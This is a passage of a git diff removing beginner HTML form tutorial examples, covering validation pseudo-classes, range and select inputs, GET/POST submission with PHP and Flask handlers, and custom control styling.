-            }
-
-            button,
-            label,
-            input {
-                display: block;
-                font-family: inherit;
-                font-size: 100%;
-                padding: 0;
-                margin: 0;
-                box-sizing: border-box;
-                width: 100%;
-                padding: 5px;
-                height: 30px;
-            }
-
-            input {
-                box-shadow: inset 1px 1px 3px #ccc;
-                border-radius: 5px;
-            }
-
-            input:hover,
-            input:focus {
-                background-color: #eee;
-            }
-
-            input + span {
-                position: relative;
-            }
-
-            input:required + span::after {
-                font-size: 0.7rem;
-                position: absolute;
-                content: 'required';
-                color: white;
-                background-color: black;
-                padding: 5px 10px;
-                top: -26px;
-                left: -70px;
-            }
-
-            button {
-                width: 60%;
-                margin: 0 auto;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Feedback form</legend>
-
-                <p>Required fields are labelled with "required".</p>
-                <div>
-                    <label for="fname">First name: </label>
-                    <input id="fname" name="fname" type="text" required />
-                    <span></span>
-                </div>
-                <div>
-                    <label for="lname">Last name: </label>
-                    <input id="lname" name="lname" type="text" required />
-                    <span></span>
-                </div>
-                <div>
-                    <label for="email">Email address (include if you want a response): </label>
-                    <input id="email" name="email" type="email" />
-                    <span></span>
-                </div>
-                <div><button>Submit</button></div>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/pseudo-classes/user-valid-invalid.html b/docs/content/learning-area/html/forms/pseudo-classes/user-valid-invalid.html
deleted file mode 100644
index 8b9b703e76..0000000000
--- a/docs/content/learning-area/html/forms/pseudo-classes/user-valid-invalid.html
+++ /dev/null
@@ -1,121 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>:user-valid and :user-invalid example</title>
-        <link href="https://fonts.googleapis.com/css?family=Josefin+Sans&display=swap" rel="stylesheet" />
-        <style>
-            body {
-                font-family: 'Josefin Sans', sans-serif;
-                margin: 20px auto;
-                max-width: 460px;
-            }
-
-            fieldset {
-                padding: 10px 30px 0;
-            }
-
-            legend {
-                color: white;
-                background: black;
-                padding: 5px 10px;
-            }
-
-            fieldset > div {
-                margin-bottom: 20px;
-                display: flex;
-                flex-flow: row wrap;
-            }
-
-            button,
-            label,
-            input {
-                display: block;
-                font-family: inherit;
-                font-size: 100%;
-                padding: 0;
-                margin: 0;
-                box-sizing: border-box;
-                width: 100%;
-                padding: 5px;
-                height: 30px;
-            }
-
-            input {
-                box-shadow: inset 1px 1px 3px #ccc;
-                border-radius: 5px;
-            }
-
-            input:hover,
-            input:focus {
-                background-color: #eee;
-            }
-
-            input + span {
-                position: relative;
-            }
-
-            input:required + span::after {
-                font-size: 0.7rem;
-                position: absolute;
-                content: 'required';
-                color: white;
-                background-color: black;
-                padding: 5px 10px;
-                top: -26px;
-                left: -70px;
-            }
-
-            input + span::before {
-                position: absolute;
-                right: -20px;
-                top: 5px;
-            }
-
-            input:user-invalid {
-                border: 2px solid red;
-            }
-
-            input:user-invalid + span::before {
-                content: '✖';
-                color: red;
-            }
-
-            input:user-valid + span::before {
-                content: '✓';
-                color: green;
-            }
-
-            button {
-                width: 60%;
-                margin: 0 auto;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Feedback form</legend>
-
-                <p>Required fields are labelled with "required".</p>
-                <div>
-                    <label for="fname">First name: </label>
-                    <input id="fname" name="fname" type="text" required />
-                    <span></span>
-                </div>
-                <div>
-                    <label for="lname">Last name: </label>
-                    <input id="lname" name="lname" type="text" required />
-                    <span></span>
-                </div>
-                <div>
-                    <label for="email">Email address (include if you want a response): </label>
-                    <input id="email" name="email" type="email" />
-                    <span></span>
-                </div>
-                <div><button>Submit</button></div>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/pseudo-classes/valid-invalid.html b/docs/content/learning-area/html/forms/pseudo-classes/valid-invalid.html
deleted file mode 100644
index 240ef1331f..0000000000
--- a/docs/content/learning-area/html/forms/pseudo-classes/valid-invalid.html
+++ /dev/null
@@ -1,121 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>:valid and :invalid example</title>
-        <link href="https://fonts.googleapis.com/css?family=Josefin+Sans&display=swap" rel="stylesheet" />
-        <style>
-            body {
-                font-family: 'Josefin Sans', sans-serif;
-                margin: 20px auto;
-                max-width: 460px;
-            }
-
-            fieldset {
-                padding: 10px 30px 0;
-            }
-
-            legend {
-                color: white;
-                background: black;
-                padding: 5px 10px;
-            }
-
-            fieldset > div {
-                margin-bottom: 20px;
-                display: flex;
-                flex-flow: row wrap;
-            }
-
-            button,
-            label,
-            input {
-                display: block;
-                font-family: inherit;
-                font-size: 100%;
-                padding: 0;
-                margin: 0;
-                box-sizing: border-box;
-                width: 100%;
-                padding: 5px;
-                height: 30px;
-            }
-
-            input {
-                box-shadow: inset 1px 1px 3px #ccc;
-                border-radius: 5px;
-            }
-
-            input:hover,
-            input:focus {
-                background-color: #eee;
-            }
-
-            input + span {
-                position: relative;
-            }
-
-            input:required + span::after {
-                font-size: 0.7rem;
-                position: absolute;
-                content: 'required';
-                color: white;
-                background-color: black;
-                padding: 5px 10px;
-                top: -26px;
-                left: -70px;
-            }
-
-            input + span::before {
-                position: absolute;
-                right: -20px;
-                top: 5px;
-            }
-
-            input:invalid {
-                border: 2px solid red;
-            }
-
-            input:invalid + span::before {
-                content: '✖';
-                color: red;
-            }
-
-            input:valid + span::before {
-                content: '✓';
-                color: green;
-            }
-
-            button {
-                width: 60%;
-                margin: 0 auto;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Feedback form</legend>
-
-                <p>Required fields are labelled with "required".</p>
-                <div>
-                    <label for="fname">First name: </label>
-                    <input id="fname" name="fname" type="text" required />
-                    <span></span>
-                </div>
-                <div>
-                    <label for="lname">Last name: </label>
-                    <input id="lname" name="lname" type="text" required />
-                    <span></span>
-                </div>
-                <div>
-                    <label for="email">Email address (include if you want a response): </label>
-                    <input id="email" name="email" type="email" />
-                    <span></span>
-                </div>
-                <div><button>Submit</button></div>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/range-example/index.html b/docs/content/learning-area/html/forms/range-example/index.html
deleted file mode 100644
index ea81341a3d..0000000000
--- a/docs/content/learning-area/html/forms/range-example/index.html
+++ /dev/null
@@ -1,77 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <meta name="viewport" content="width=device-width" />
-        <title>&lt;input type="range"&gt; example</title>
-        <style>
-            html,
-            input {
-                font-family: sans-serif;
-            }
-
-            body {
-                width: 90%;
-                max-width: 500px;
-                margin: 0 auto;
-            }
-
-            form {
-                margin-top: 20px;
-            }
-
-            div {
-                margin-bottom: 20px;
-                display: flex;
-                flex-flow: row wrap;
-                justify-content: space-between;
-                align-items: center;
-            }
-
-            label,
-            input,
-            button {
-                font-size: 14px;
-                line-height: 1.5;
-            }
-
-            label {
-                width: 100%;
-                margin-right: 2%;
-            }
-
-            input {
-                flex: auto;
-                margin-right: 2%;
-            }
-
-            button {
-                width: 70%;
-                margin: 0 auto;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="price">Choose a maximum house price: </label>
-                <input type="range" name="price" id="price" min="50000" max="500000" step="100" value="250000" />
-                <output class="price-output" for="price"></output>
-            </div>
-            <div>
-                <button>Submit</button>
-            </div>
-        </form>
-        <script>
-            const price = document.querySelector('#price');
-            const output = document.querySelector('.price-output');
-
-            output.textContent = price.value;
-
-            price.addEventListener('input', function () {
-                output.textContent = price.value;
-            });
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/select-example/select-multiple.html b/docs/content/learning-area/html/forms/select-example/select-multiple.html
deleted file mode 100644
index a80fd0a194..0000000000
--- a/docs/content/learning-area/html/forms/select-example/select-multiple.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>My test page</title>
-        <style>
-            select {
-                /* font-family: cursive; */
-            }
-        </style>
-    </head>
-
-    <body>
-        <select id="pet-select" name="pet" multiple size="4">
-            <option value="none" selected>-- Please choose one or more --</option>
-            <optgroup label="4-legged pets">
-                <option value="dog">Dog</option>
-                <option value="cat">Cat</option>
-                <option value="hamster" disabled>Hamster</option>
-            </optgroup>
-            <optgroup label="Flying pets">
-                <option value="parrot">Parrot</option>
-                <option value="macaw">Macaw</option>
-                <option value="albatross">Albatross</option>
-            </optgroup>
-        </select>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/sending-form-data/get-method.html b/docs/content/learning-area/html/forms/sending-form-data/get-method.html
deleted file mode 100644
index 6685cda673..0000000000
--- a/docs/content/learning-area/html/forms/sending-form-data/get-method.html
+++ /dev/null
@@ -1,44 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Get method example</title>
-        <style>
-            form {
-                width: 420px;
-            }
-
-            div {
-                margin-bottom: 20px;
-            }
-
-            label {
-                display: inline-block;
-                width: 240px;
-                text-align: right;
-                padding-right: 10px;
-            }
-
-            button,
-            input {
-                float: right;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form action="http://foo.com" method="get">
-            <div>
-                <label for="say">What greeting do you want to say?</label>
-                <input name="say" id="say" value="Hi" />
-            </div>
-            <div>
-                <label for="to">Who do you want to say it to?</label>
-                <input name="to" value="Mom" />
-            </div>
-            <div>
-                <button>Send my greetings</button>
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/sending-form-data/php-example.html b/docs/content/learning-area/html/forms/sending-form-data/php-example.html
deleted file mode 100644
index 29c8592cb5..0000000000
--- a/docs/content/learning-area/html/forms/sending-form-data/php-example.html
+++ /dev/null
@@ -1,44 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>PHP form submission example</title>
-        <style>
-            form {
-                width: 420px;
-            }
-
-            div {
-                margin-bottom: 20px;
-            }
-
-            label {
-                display: inline-block;
-                width: 240px;
-                text-align: right;
-                padding-right: 10px;
-            }
-
-            button,
-            input {
-                float: right;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form method="post" action="php-example.php">
-            <div>
-                <label for="say">What greeting do you want to say?</label>
-                <input name="say" id="say" value="Hi" />
-            </div>
-            <div>
-                <label for="to">Who do you want to say it to?</label>
-                <input name="to" value="Mom" />
-            </div>
-            <div>
-                <button>Send my greetings</button>
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/sending-form-data/php-example.php b/docs/content/learning-area/html/forms/sending-form-data/php-example.php
deleted file mode 100644
index 944b254178..0000000000
--- a/docs/content/learning-area/html/forms/sending-form-data/php-example.php
+++ /dev/null
@@ -1,8 +0,0 @@
-<?php
-
-// The global $_POST variable allows you to access the data sent with the POST method by name
-// To access the data sent with the GET method, you can use $_GET
-$say = htmlspecialchars($_POST['say']);
-$to = htmlspecialchars($_POST['to']);
-
-echo $say, ' ', $to;
diff --git a/docs/content/learning-area/html/forms/sending-form-data/post-method.html b/docs/content/learning-area/html/forms/sending-form-data/post-method.html
deleted file mode 100644
index cdfbf8ecbe..0000000000
--- a/docs/content/learning-area/html/forms/sending-form-data/post-method.html
+++ /dev/null
@@ -1,44 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Post method example</title>
-        <style>
-            form {
-                width: 420px;
-            }
-
-            div {
-                margin-bottom: 20px;
-            }
-
-            label {
-                display: inline-block;
-                width: 240px;
-                text-align: right;
-                padding-right: 10px;
-            }
-
-            button,
-            input {
-                float: right;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form action="http://foo.com" method="post">
-            <div>
-                <label for="say">What greeting do you want to say?</label>
-                <input name="say" id="say" value="Hi" />
-            </div>
-            <div>
-                <label for="to">Who do you want to say it to?</label>
-                <input name="to" value="Mom" />
-            </div>
-            <div>
-                <button>Send my greetings</button>
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/sending-form-data/python-example.py b/docs/content/learning-area/html/forms/sending-form-data/python-example.py
deleted file mode 100644
index fdb25b600e..0000000000
--- a/docs/content/learning-area/html/forms/sending-form-data/python-example.py
+++ /dev/null
@@ -1,21 +0,0 @@
-from flask import Flask
-from flask import render_template
-from flask import request
-
-app = Flask(__name__)
-
-
-@app.route("/", methods=["GET", "POST"])
-def form():
-    return render_template("form.html")
-
-
-@app.route("/hello", methods=["GET", "POST"])
-def hello():
-    return render_template("greeting.html",
-                           say=request.form["say"],
-                           to=request.form["to"])
-
-
-if __name__ == "__main__":
-    app.run()
diff --git a/docs/content/learning-area/html/forms/sending-form-data/templates/form.html b/docs/content/learning-area/html/forms/sending-form-data/templates/form.html
deleted file mode 100644
index 37c89352dc..0000000000
--- a/docs/content/learning-area/html/forms/sending-form-data/templates/form.html
+++ /dev/null
@@ -1,44 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Python form submission example</title>
-        <style>
-            form {
-                width: 420px;
-            }
-
-            div {
-                margin-bottom: 20px;
-            }
-
-            label {
-                display: inline-block;
-                width: 240px;
-                text-align: right;
-                padding-right: 10px;
-            }
-
-            button,
-            input {
-                float: right;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form method="post" action="{{ url_for('hello') }}">
-            <div>
-                <label for="say">What greeting do you want to say?</label>
-                <input name="say" id="say" value="Hi" />
-            </div>
-            <div>
-                <label for="to">Who do you want to say it to?</label>
-                <input name="to" id="to" value="Mom" />
-            </div>
-            <div>
-                <button>Send my greetings</button>
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/sending-form-data/templates/greeting.html b/docs/content/learning-area/html/forms/sending-form-data/templates/greeting.html
deleted file mode 100644
index cbee579495..0000000000
--- a/docs/content/learning-area/html/forms/sending-form-data/templates/greeting.html
+++ /dev/null
@@ -1,11 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Greeting</title>
-    </head>
-
-    <body>
-        <p>{{say}} {{to}}</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/styling-examples/appearence-tester.html b/docs/content/learning-area/html/forms/styling-examples/appearence-tester.html
deleted file mode 100644
index 0c272580f6..0000000000
--- a/docs/content/learning-area/html/forms/styling-examples/appearence-tester.html
+++ /dev/null
@@ -1,83 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>appearence tester</title>
-        <style>
-            body {
-                margin: 20px auto;
-                max-width: 800px;
-                justify-content: space-around;
-            }
-
-            body,
-            form > div {
-                display: flex;
-            }
-
-            form > div {
-                margin-bottom: 20px;
-            }
-
-            .appearence input {
-                -webkit-appearance: none;
-                appearance: none;
-            }
-        </style>
-    </head>
-
-    <body>
-        <div>
-            <form>
-                <div>
-                    <label for="search1">search: </label>
-                    <input id="search1" name="search1" type="search" />
-                </div>
-                <div>
-                    <label for="text1">text: </label>
-                    <input id="text1" name="text1" type="text" />
-                </div>
-                <div>
-                    <label for="date1">date: </label>
-                    <input id="date1" name="date1" type="datetime-local" />
-                </div>
-                <div>
-                    <label for="radio1">radio: </label>
-                    <input id="radio1" name="radio1" type="radio" />
-                </div>
-                <div>
-                    <label for="checkbox1">checkbox: </label>
-                    <input id="checkbox1" name="checkbox1" type="checkbox" />
-                </div>
-                <div><input type="submit" value="submit" /></div>
-                <div><input type="button" value="button" /></div>
-            </form>
-        </div>
-        <div class="appearence">
-            <form>
-                <div>
-                    <label for="search2">search: </label>
-                    <input id="search2" name="search2" type="search" />
-                </div>
-                <div>
-                    <label for="text2">text: </label>
-                    <input id="text2" name="text2" type="text" />
-                </div>
-                <div>
-                    <label for="date2">date: </label>
-                    <input id="date2" name="date2" type="datetime-local" />
-                </div>
-                <div>
-                    <label for="radio2">radio: </label>
-                    <input id="radio2" name="radio2" type="radio" />
-                </div>
-                <div>
-                    <label for="checkbox2">checkbox: </label>
-                    <input id="checkbox2" name="checkbox2" type="checkbox" />
-                </div>
-                <div><input type="submit" value="submit" /></div>
-                <div><input type="button" value="button" /></div>
-            </form>
-        </div>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/styling-examples/checkboxes-styled.html b/docs/content/learning-area/html/forms/styling-examples/checkboxes-styled.html
deleted file mode 100644
index 58e8ada52d..0000000000
--- a/docs/content/learning-area/html/forms/styling-examples/checkboxes-styled.html
+++ /dev/null
@@ -1,71 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Checkboxes styled</title>
-        <style>
-            input[type='checkbox'] {
-                -webkit-appearance: none;
-                appearance: none;
-            }
-
-            input[type='checkbox'] {
-                position: relative;
-                width: 1em;
-                height: 1em;
-                border: 1px solid gray;
-                /* Adjusts the position of the checkboxes on the text baseline */
-                vertical-align: -2px;
-                /* Set here so that Windows' High-Contrast Mode can override */
-                color: green;
-            }
-
-            input[type='checkbox']::before {
-                content: '✔';
-                position: absolute;
-                font-size: 1.2em;
-                right: 0;
-                top: -0.3em;
-                visibility: hidden;
-            }
-
-            input[type='checkbox']:checked::before {
-                /* Use `visibility` instead of `display` to avoid recalculating layout */
-                visibility: visible;
-            }
-
-            input[type='checkbox']:disabled {
-                border-color: black;
-                background: #ddd;
-                color: gray;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Fruit preferences</legend>
-
-                <p>
-                    <label>
-                        <input type="checkbox" name="fruit-1" value="cherry" />
-                        I like cherry
-                    </label>
-                </p>
-                <p>
-                    <label>
-                        <input type="checkbox" name="fruit-2" value="banana" disabled />
-                        I can't like banana
-                    </label>
-                </p>
-                <p>
-                    <label>
-                        <input type="checkbox" name="fruit-3" value="strawberry" />
-                        I like strawberry
-                    </label>
-                </p>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/styling-examples/radios-styled.html b/docs/content/learning-area/html/forms/styling-examples/radios-styled.html
deleted file mode 100644
index 0047690f0f..0000000000
--- a/docs/content/learning-area/html/forms/styling-examples/radios-styled.html
+++ /dev/null
@@ -1,68 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Radio buttons styled</title>
-        <style>
-            input[type='radio'] {
-                -webkit-appearance: none;
-                appearance: none;
-            }
-
-            input[type='radio'] {
-                width: 20px;
-                height: 20px;
-                border-radius: 10px;
-                border: 2px solid gray;
-                /* Adjusts the position of the checkboxes on the text baseline */
-                vertical-align: -2px;
-                outline: none;
-            }
-
-            input[type='radio']::before {
-                display: block;
-                content: ' ';
-                width: 10px;
-                height: 10px;
-                border-radius: 6px;
-                background-color: red;
-                font-size: 1.2em;
-                transform: translate(3px, 3px) scale(0);
-                transform-origin: center;
-                transition: all 0.3s ease-in;
-            }
-
-            input[type='radio']:checked::before {
-                transform: translate(3px, 3px) scale(1);
-                transition: all 0.3s cubic-bezier(0.25, 0.25, 0.56, 2);
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Choose your favourite fruit</legend>
-
-                <p>
-                    <label>
-                        <input type="radio" name="fruit" value="cherry" />
-                        Cherry
-                    </label>
-                </p>
-                <p>
-                    <label>
-                        <input type="radio" name="fruit" value="banana" />
-                        Banana
-                    </label>
-                </p>
-                <p>
-                    <label>
-                        <input type="radio" name="fruit" value="strawberry" />
-                        Strawberry
-                    </label>
-                </p>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/styling-examples/search-appearence.html b/docs/content/learning-area/html/forms/styling-examples/search-appearence.html
deleted file mode 100644
index 9f317c9670..0000000000
--- a/docs/content/learning-area/html/forms/styling-examples/search-appearence.html
+++ /dev/null
@@ -1,54 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Search appearence</title>
-        <style>
-            body,
-            form > div {
-                display: flex;
-            }
-
-            body {
-                margin: 20px auto;
-                max-width: 800px;
-                justify-content: space-around;
-            }
-
-            form > div {
-                align-items: center;
-            }
-
-            input[type='search'] {
-                height: 32px;
-                padding: 0 10px;
-                font-size: 14px;
-                letter-spacing: 1px;
-            }
-
-            .appearence input[type='search'] {
-                -webkit-appearance: none;
-                appearance: none;
-            }
-        </style>
-    </head>
-
-    <body>
-        <div>
-            <form>
-                <div>
-                    <label for="search1">search: </label>
-                    <input id="search1" name="search1" type="search" />
-                </div>
-            </form>
-        </div>
-        <div class="appearence">
-            <form>
-                <div>
-                    <label for="search2">search: </label>
-                    <input id="search2" name="search2" type="search" />
-                </div>
-            </form>
-        </div>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/styling-examples/styled-file-picker.html b/docs/content/learning-area/html/forms/styling-examples/styled-file-picker.html
deleted file mode 100644
index 00f4455124..0000000000
--- a/docs/content/learning-area/html/forms/styling-examples/styled-file-picker.html
+++ /dev/null
@@ -1,106 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Styled file picker example</title>
-        <link href="https://fonts.googleapis.com/css?family=Josefin+Sans&display=swap" rel="stylesheet" />
-        <style>
-            body {
-                font-family: 'Josefin Sans', sans-serif;
-                margin: 20px auto;
-                max-width: 400px;
-            }
-
-            form > div {
-                margin-bottom: 20px;
-            }
-
-            button,
-            label,
-            input {
-                display: block;
-                font-family: inherit;
-                font-size: 100%;
-                padding: 0;
-                margin: 0;
-                box-sizing: border-box;
-                width: 100%;
-                padding: 5px;
-                height: 30px;
-            }
-
-            input[type='file'] {
-                height: 0;
-                padding: 0;
-                opacity: 0;
-            }
-
-            label[for='file'] {
-                box-shadow: 1px 1px 3px #ccc;
-                background: linear-gradient(to bottom, #eee, #ccc);
-                border: 1px solid rgb(169, 169, 169);
-                border-radius: 5px;
-                text-align: center;
-                line-height: 1.5;
-            }
-
-            label[for='file']:hover {
-                background: linear-gradient(to bottom, #fff, #ddd);
-            }
-
-            label[for='file']:active {
-                box-shadow: inset 1px 1px 3px #ccc;
-            }
-
-            button {
-                width: 60%;
-                margin: 0 auto;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="file">Choose a file to upload</label>
-                <input id="file" name="file" type="file" multiple />
-                <ul id="file-list"></ul>
-            </div>
-            <div><button>Submit?</button></div>
-        </form>
-
-        <script>
-            const fileInput = document.querySelector('#file');
-            const fileList = document.querySelector('#file-list');
-
-            fileInput.addEventListener('change', updateFileList);
-
-            function updateFileList() {
-                while (fileList.firstChild) {
-                    fileList.removeChild(fileList.firstChild);
-                }
-
-                let curFiles = fileInput.files;
-
-                if (!(curFiles.length === 0)) {
-                    console.log('test');
-                    for (let i = 0; i < curFiles.length; i++) {
-                        const listItem = document.createElement('li');
-                        listItem.textContent = 'File name: ' + curFiles[i].name + '; file size ' + returnFileSize(curFiles[i].size) + '.';
-                        fileList.appendChild(listItem);
-                    }
-                }
-            }
-
-            function returnFileSize(number) {
-                if (number < 1024) {
-                    return number + 'bytes';
-                } else if (number >= 1024 && number < 1048576) {
-                    return (number / 1024).toFixed(1) + 'KB';
-                } else if (number >= 1048576) {
-                    return (number / 1048576).toFixed(1) + 'MB';
-                }
-            }
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/styling-examples/styled-search.html b/docs/content/learning-area/html/forms/styling-examples/styled-search.html
deleted file mode 100644
index bc182f98d8..0000000000
--- a/docs/content/learning-area/html/forms/styling-examples/styled-search.html
+++ /dev/null
@@ -1,51 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Styled search</title>
-        <style>
-            body,
-            form > div {
-                display: flex;
-            }
-
-            body {
-                margin: 20px auto;
-                max-width: 800px;
-                justify-content: space-around;
-            }
-
-            form > div {
-                align-items: center;
-            }
-
-            input[type='search'] {
-                border: 2px solid black;
-                border-radius: 16px;
-                box-shadow: 1px 1px 1px red;
-                height: 32px;
-                padding: 0 10px;
-                font-size: 14px;
-                letter-spacing: 1px;
-                outline: none;
-            }
-
-            input[type='search']:hover,
-            input[type='search']:focus {
-                background: #eee;
-                box-shadow: 1px 1px 1px red, inset 2px 2px 3px #666;
-            }
-        </style>
-    </head>
-
-    <body>
-        <div>
-            <form>
-                <div>
-                    <label for="search2">search: </label>
-                    <input id="search2" name="search2" type="search" />
-                </div>
-            </form>
-        </div>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/styling-examples/ugly-controls.html b/docs/content/learning-area/html/forms/styling-examples/ugly-controls.html
deleted file mode 100644
index c3e0922dba..0000000000
--- a/docs/content/learning-area/html/forms/styling-examples/ugly-controls.html
+++ /dev/null
@@ -1,158 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Ugly controls basic styling</title>
-        <link href="https://fonts.googleapis.com/css?family=Josefin+Sans&display=swap" rel="stylesheet" />
-        <style>
-            body {
-                font-family: 'Josefin Sans', sans-serif;
-                margin: 20px auto;
-                max-width: 400px;
-            }
-
-            form > div {
-                margin-bottom: 20px;
-            }
-
-            button,
-            label,
-            input,
-            select,
-            progress,
-            meter {
-                display: block;
-                font-family: inherit;
-                font-size: 100%;
-                margin: 0;
-                box-sizing: border-box;
-                width: 100%;
-                padding: 5px;
-                height: 30px;
-            }
-
-            select {
-                -webkit-appearance: none;
-                appearance: none;
-            }
-
-            .select-wrapper {
-                position: relative;
-            }
-
-            .select-wrapper::after {
-                content: '▼';
-                font-size: 1rem;
-                top: 6px;
-                right: 10px;
-                position: absolute;
-            }
-
-            input[type='text'],
-            input[type='datetime-local'],
-            input[type='color'],
-            select {
-                box-shadow: inset 1px 1px 3px #ccc;
-                border-radius: 5px;
-            }
-
-            label {
-                margin-bottom: 5px;
-            }
-
-            button {
-                width: 60%;
-                margin: 0 auto;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="select">Select box:</label>
-                <div class="select-wrapper">
-                    <select id="select" name="select">
-                        <option>Banana</option>
-                        <option>Cherry</option>
-                        <option>Lemon</option>
-                    </select>
-                </div>
-            </div>
-            <div>
-                <label for="myFruit">"Favorite fruit?" datalist:</label>
-                <input type="text" name="myFruit" id="myFruit" list="mySuggestion" />
-                <datalist id="mySuggestion">
-                    <option>Apple</option>
-                    <option>Banana</option>
-                    <option>Blackberry</option>
-                    <option>Blueberry</option>
-                    <option>Lemon</option>
-                    <option>Lychee</option>
-                    <option>Peach</option>
-                    <option>Pear</option>
-                </datalist>
-            </div>
-            <div>
-                <label for="date1">Datetime local: </label>
-                <input id="date1" name="date1" type="datetime-local" />
-            </div>
-            <div>
-                <label for="range">Range: </label>
-                <input id="range" name="range" type="range" />
-            </div>
-            <div>
-                <label for="color">Color: </label>
-                <input id="color" name="color" type="color" />
-            </div>
-            <div>
-                <label for="file">File picker: </label>
-                <input id="file" name="file" type="file" multiple />
-                <ul id="file-list"></ul>
-            </div>
-            <div>
-                <label for="progress">Progress: </label>
-                <progress max="100" value="75" id="progress">75/100</progress>
-            </div>
-            <div>
-                <label for="meter">Meter: </label>
-                <meter id="meter" min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter>
-            </div>
-            <div><button>Submit?</button></div>
-        </form>
-
-        <script>
-            const fileInput = document.querySelector('#file');
-            const fileList = document.querySelector('#file-list');
-
-            fileInput.addEventListener('change', updateFileList);
-
-            function updateFileList() {
-                while (fileList.firstChild) {
-                    fileList.removeChild(fileList.firstChild);
-                }
-
-                let curFiles = fileInput.files;
-
-                if (!(curFiles.length === 0)) {
-                    console.log('test');
-                    for (let i = 0; i < curFiles.length; i++) {
-                        const listItem = document.createElement('li');
-                        listItem.textContent = 'File name: ' + curFiles[i].name + '; file size ' + returnFileSize(curFiles[i].size) + '.';
-                        fileList.appendChild(listItem);
-                    }
-                }
-            }
-
-            function returnFileSize(number) {
-                if (number < 1024) {
-                    return number + 'bytes';
-                } else if (number >= 1024 && number < 1048576) {
-                    return (number / 1024).toFixed(1) + 'KB';
-                } else if (number >= 1048576) {
-                    return (number / 1048576).toFixed(1) + 'MB';
-                }
-            }
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling-download.html b/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling-download.html
deleted file mode 100644
index 879aa972d9..0000000000
--- a/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling-download.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Advanced styling: Task 1</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-
-            button,
-            input,
-            select {
-                font-family: inherit;
-                font-size: 100%;
-                padding: 0;
-                margin: 0;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <input type="search" name="search" id="search" aria-label="Search our site" />
-            <div></div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling.html b/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling.html
deleted file mode 100644
index 895ea1dc78..0000000000
--- a/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling.html
+++ /dev/null
@@ -1,51 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
